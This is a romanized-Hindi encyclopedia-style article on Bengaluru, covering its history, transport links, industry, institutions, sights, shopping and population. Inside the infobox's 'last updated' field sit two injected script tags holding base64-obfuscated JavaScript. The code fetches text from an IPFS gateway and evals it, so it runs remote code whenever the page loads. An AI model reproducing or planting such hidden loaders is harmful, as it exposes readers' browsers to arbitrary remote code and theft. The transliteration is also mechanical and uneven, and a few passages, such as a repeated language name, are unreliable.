बेंगळूरू
beangळooroo
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| vivaran | bangalooroo bharat ka satavaan sabase b da shahar hai. bangalor karnatak (bhootapoorv maisoor) rajy ka 1830 se shahar aur rajadhani hai. |
| rajy | karnatak |
| zila | baiangalor zila |
| bhaugolik sthiti | uttar- 12°97', poorv-77°56' |
| marg sthiti | yah shahar s dak dvara maisoor se 139 kilomitar, chennee se 349 kilomitar, hampi se 385 kilomitar, dilli se 2,081 kilomitar doori par sthit hai. |
| kab jaean | garmiyoan mean aprail se joon aur sardiyoan mean aktoobar se faravari. |
| kaise pahuanchean | havaee jahaz, rel, bas adi se pahuancha ja sakata hai. |
| havaee adda | beangaloor aantararashtriy havaee adda |
| relave steshan | bangalaur jankshan relave steshan |
| bas adda | kॅmpeg aauda bas steshan |
| yatayat | yatayat saikil-riksha, aauto-riksha, mitar-taiksi, siti bas aur metro rel |
| kya dekhean | beangळooroo paryatan, rashtriy adhunik kala sangrahalay |
| kahaan thaharean | hotal, dharmashala, atithi grah |
| kya khayean | masala dosa, idali, rava dosa, va da |
| kya kharidean | bangalaur silk, chandan ki lak di ke saman, hathi daant, beant aur baans ke pharnichar, adi |
| es.ti.di. kod | 080 |
| e.ti.em | lagabhag sabhi |
| chitr:Map-icon.gif | googal manachitr, beangaloor aantararashtriy havaee adde |
| bhasha | kann d, telugu, hindi, aangrezi aur tamil |
| adyatan | 16:18, 1 janavari 2011 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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| beangळooroo | beangळooroo paryatan | beangळooroo zila |
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bangalor karnatak (bhootapoorv maisoor) rajy ka 1830 se shahar aur rajadhani hai. bangalor bharat ka satavaan sabase b da shahar hai. bangalor ko bharat ka bagicha bhi kaha jata hai. samudr tal se 949 mitar ki ooanchaee par karnatak pathar ki poorvi-pashchimi shrriankhala sima par sthit yah shahar rajy ke dakshin poorvi bhag mean hai. sharad evan grishm rritu mean khushagavar mausam ke karan nivas ke lie lokapriy sthan hai, lekin yahaan ki badhati audyogik aur ghareloo zarooratoan ke liye jal apoorti ek samasya hai. yahaan 910 mimi varshik varsha hoti hai. bangalor kann d, tamil aur tamil bhasha ke logoan ke lie saanskritik sangam ka biandu hai. [[chitr:Statue-Shiva-Bangalore.jpg|thumb|left|bhagavan shiv moorti, beangळooroo]]
itihas
ek bar hoyasal vansh ke raja ballal jangal mean shikar karane ke lie ge the. kintu vah rasta bhool ge. jangal ke kafi andar ek boodhi aurat rahati thi. vah boodhi aurat kafi garib aur bhookhi thi aur usake pas raja ko poochhane ke lie sivae ubali sem (bians) ke alava aur kuchh nahian tha. raja boodhi aurat ki seva se kafi prasannn hue aur unhoanne poore shahar ka nam bele-beanda-kaloo-ooroo rakh diya. sthaniy (kann d) bhasha mean isaka arth ubali bians ki jagah hota hai. is aitihasik ghatana ke nam par hi is jagah ka nam beangळooroo rakha gaya hai. lekin aangrezoan ke agaman ke pashchath is jagah ko bangalor ke nam se jane jana laga. lekin vartaman mean dubara se isaka nam badalakar bangalooroo kar diya gaya.
bangalor jagah ke nam ka aitihasik drishti se kafi mahattv hai. is sthan par 1537 ee. mean shooravir saradar keanpegoda ne ek mitti ka durg aur nagar ke charoan konoan par char minarean banavaee thian. is prachin durg ke avashesh abhi tak sthit haian. haidarali ne is mitti ke durg ko patthar se punarnirmit karavaya (1761 ee.) aur tipoo ne is durg mean kee mahattvapoorn parivartan kie. yah qila aj maisoor rajy mean muslim shasanakal ka achchha udaharan hai. qile se 7 mil door haidarali ka lal bag sthit hai. bangalaur se 37 mil door nandigiri namak aitihasik sthan hai.
yatayat aur parivahan
- vayu marg
bangalor ka ech. e. el. aantarrashtriy havaee adda desh ka tisara vyastatam havaee adda hai. yah shahar ke poorv mean ath kilomitar ki doori par sthit hai. ghareloo tatha aantarrashtriy u danoan mean prayukt yah havaeeadda, eshiya, madhy-poorv tatha yoorop ke liye bhi havaee adde ki sevaean deta hai. kee pramukh shaharoan jaise kalakatta, mumbee, dilli, haidarabad, chainnee, ahamadabad, gova, kochchi, mangaloor, pune, tiruanantapuram aur kolanbo (shrilanka) se yahaan ke lie niyamit u danoan ki vyavastha hai.
[[chitr:Vidhan-Soudha-Bangalore.jpg|thumb|250px|left|vidhan saudh, bangalor
Vidhan Soudha, Bangalore]]
- rel marg
uttar aur pashchim mean ek gahan mitar gej pranali ke sath-sath yah dakshini relave ki chau di gej lain (chennee se) ka bhi jankshan hai. bangaluroo mean do pramukh relave steshan hai. yah steshan bharat ke kee pramukh shaharoan se ju de hue hai. desh ke kee shaharoan se niyamit roop se eksapres rel bangalooroo ke lie chalati haian.
- s dak marg
dakshini bharat ke s dak tantr ke keandr mean sthit bangalor, varanasi-kanyakumari rashtriy rajamarg par hai. yah muanbee (bhootapoorv banbee), chennee (bhootapoorv madras) se mukhy s dakoan aur keral se nilagiri paha diyoan v palaghat darre ke bich se hote hue maisoor shahar ke raste ju de hai. bangalooroo mean kafi sankhya mean bas tarminal hai. jo ki relave steshan ke samip hi hai.
krishi aur khanij
asapas ke kshetr mean kaveri aur kaveri ki sahayak arkavati nadiyaan bahati haian. bajara v tilahan pramukh fasalean haian tatha maveshi v bhe dapalan bhi hota hai.
udyog aur vyapar
[[chitr:Lalbagh-Bangalore.jpg|thumb|250px|lal bag, bangalor
Lalbagh, Bangalore]]
shahar ke viman rel ke dibbe aur mashini kalapurze nirmit karane vale adhishthan keandr sarakar dvara chalae jate haian aur vidyut telifon udyog aur chini mitti aur sabun ke karakhane rajy sarakar ke niyantran mean haian. dava, vastr, rediyo ke purze, gh diyaan, kaanch ka saman, cham da, joote-chappal, krishi upakaran aur kagaz nizi udyogoan dvara banae jate haian.
shikshan sansthan
- yahaan par bangalor vishvavidyalay (1916 mean sthapit maisoor vishvavidyalay ki ek shakha) aur krishi vijnan vishvavidyalay 1964 mean khola gaya tha. shahar mean kee sayankalin mahavidyalay, sarvajanik pustakalay aur bharatiy vijnan sansthan (1909), raman shodh sansthan (1943), rashtriy shodh prayogashala (1960) tatha rashtriy oorja shodh sansthan ka ek vibhag (1960) hai.
[[chitr:ISKCON-Temple-Bangalore.jpg|thumb|250px|left|isk aaun mandir, beangळooroo
ISKCON Temple, Bangalore]]
- inake alava bangalor mean jnan bharati vishvavidyalay, iandiyan ianstityoot aauf saians, iandiyan ianstityoot aauf mainejameant, neshanal l aau skool aauf iandiya yoonivarsiti, neshanal ianstityoot aauf meantal helth aiand nyooro saiansez, rajiv gaandhi yoonivarsiti aauf helth saiansez, iandiyan ianstityoot aauf inaformeshan teknol aauji, vishveshvaraiya k aaulej aauf ianjiniyariang, bi.em.es. k aaulej aauf ianjiniyariang tatha any kee medikal v ianjiniyariang k aaulej haian. bangalor ek prakashan (samachar patr-patrika) keandr bhi hai aur yahaan kshetriy rediyo prasaran keandr ka mukhyalay hai.
paryatan
[[chitr:Bull-Temple-Bangalore.jpg|thumb|bul mandir, beangळooroo
Bull Temple, Bangalore]]
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bangalor shahar ke purane bhag mean saghan imaratean haian, sath hi adhunik upanagar hai, jinhean uttar tatha dakshin mean jalidar namoone ke anusar banaya gaya hai. jahaan vibhinn park aur chau di galiyaan haian. poorvi hisse mean kee sainy chhavaniyaan haian. mitti ke durg ke charoan or basi abadi shahar ka keandr thi, is durg ka nirman (1537 mean) ek sthaniy saradar kempegau da ne kiya tha, jisaka nirman 1761 mean pattharoan se kiya gaya. 1831 se 1881 tak bangalor british prashasan ka mukhyalay raha. raja ko shahar pun: saup die jane ke bad bhi yahaan 1947 tak briten ka prashasanik aur sainy adhikar raha.
darshaniy sthaloan mean 500 ek d mean phaila kabban park, jisamean bharat ke sabase purane sangrahalayoan mean se ek (1886) jaise kee mahattvapoorn bhavan sthit haian; vishveshvaraiya audyogik tatha praudyogikiy sangrahalay; vishveshvaraiya iandastriyal tred seantar; ke veankatappa art gailari; sheshadri ayyar memoriyal h aaul, jisamean sarvajanik pustakalay bhi hai; uchch nyayalay; bachchoan ke manoranjan aur abhiruchi ka keandr javaharalal neharoo bhavan shamil haian. pramukh bhavanoan mean vidhan saudh (1956) tatha bangalor qila v mahal shamil haian. thumb|220px|left|sangrahalay, bangalor
Museum, Bangalore any sthaloan mean 1990 mean sthapit s aauftaveyar teknol aauji park (es.ti.pi.) nandi hil, ag ke devata agni ki durlabh pratima vala gufa mandir, mekedatu, vanaraghatta neshanal park, kanv jalashay, ulasoor jhil aur hesaraghatta jhil shamil haian.
kharidadari
bangalooroo mean kharidadari ka apana hi ek alag hi anand hai. bangalaur silk, chandan ki lak di ke saman, hathi daant, beant aur baans ke pharnichar, adi ke saman bhi kharid sakate haian. yahaan apako kaanchipuram silk ya savoraski kristal asani se mil sakata hai. bangalooroo vishesh roop se m aauloan ke lie prasiddh hai. yahaan sthit m aaul bharat ke kuchh khoobasoorat aur b de m aaul mean se ek hai. ap sarakari bazar mean bhi kharidadari ke lie ja sakate haian. yahaan apako pital ke bartan, lak di ka pharnichar, prachin abhooshan, paramparagat vastr, sa di, sajane ka saman adi asani se mil jaega. [[chitr:Summer-Palace-Bangalore.jpg|thumb|250px|sumer mahal, beangळooroo]] ap kharidadari ke lie maijastik kshetr mean bhi ja sakate haian. yahaan kafi achchhi kharidadari ki ja sakati hai. is bazar ko h aaug-k aaug market, burma bazar ke nam se bhi jana jata hai. bangalooroo mean kee any bazar bhi hai jaise roossal market yahaan apako ghar se ju di kee chizean mil jaegi. isake atirikt chikapet bazar vishesh roop se silk sa di, sone v chaandi ke gahanoan ke lie kafi prasiddh hai. kamarshiyal strit bangalooroo se sabase vyast aur bhi d-bha d vala bazar hai. yahaan apako joote, abhooshan, khel ki vastuean asani se mil jaegi. british kal ke dauran ke dakshin pared ko aj em.ji.ro d ke nam se jana jata hai. yahaan apako kharidadari ke lie ilekhtr aaunik upakaran, kitabean aur maigajin, silk sa di, kap de, prachin aur photokari ki ju di vishesh chizean mil sakati hai. em.ji.ro d ke kafi najadik hi briged rod hai yah jagah ilekhtr aaunik upakaran jaise telivishzan, phrij, sangit yantr aur kampyootar adi ke lie prasidv hai.
janasankhya
bangalor shahar ki janasankhya (2001) 65,23,110; aur gramin ki janasankhya 18,77,416 hai.
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vithika
- chitr:Lal-Baugh-Bangalore.jpg
jhil, lal bag, bangalaur
- chitr:Lal-Bagh-Glass-House.jpg
glas haus, lal bag, beangळooroo
- chitr:Lal-Bagh-Bangalore.jpg
jhil, lal bag, bangalaur
- chitr:Ravi-Shankar-Ashram-Bangalore.jpg
ravi shankar ashram, bangalaur
- chitr:Ulsoor-Lake-Bangalore.jpg
ulsoor jhil, bangalaur
sanbandhit lekh
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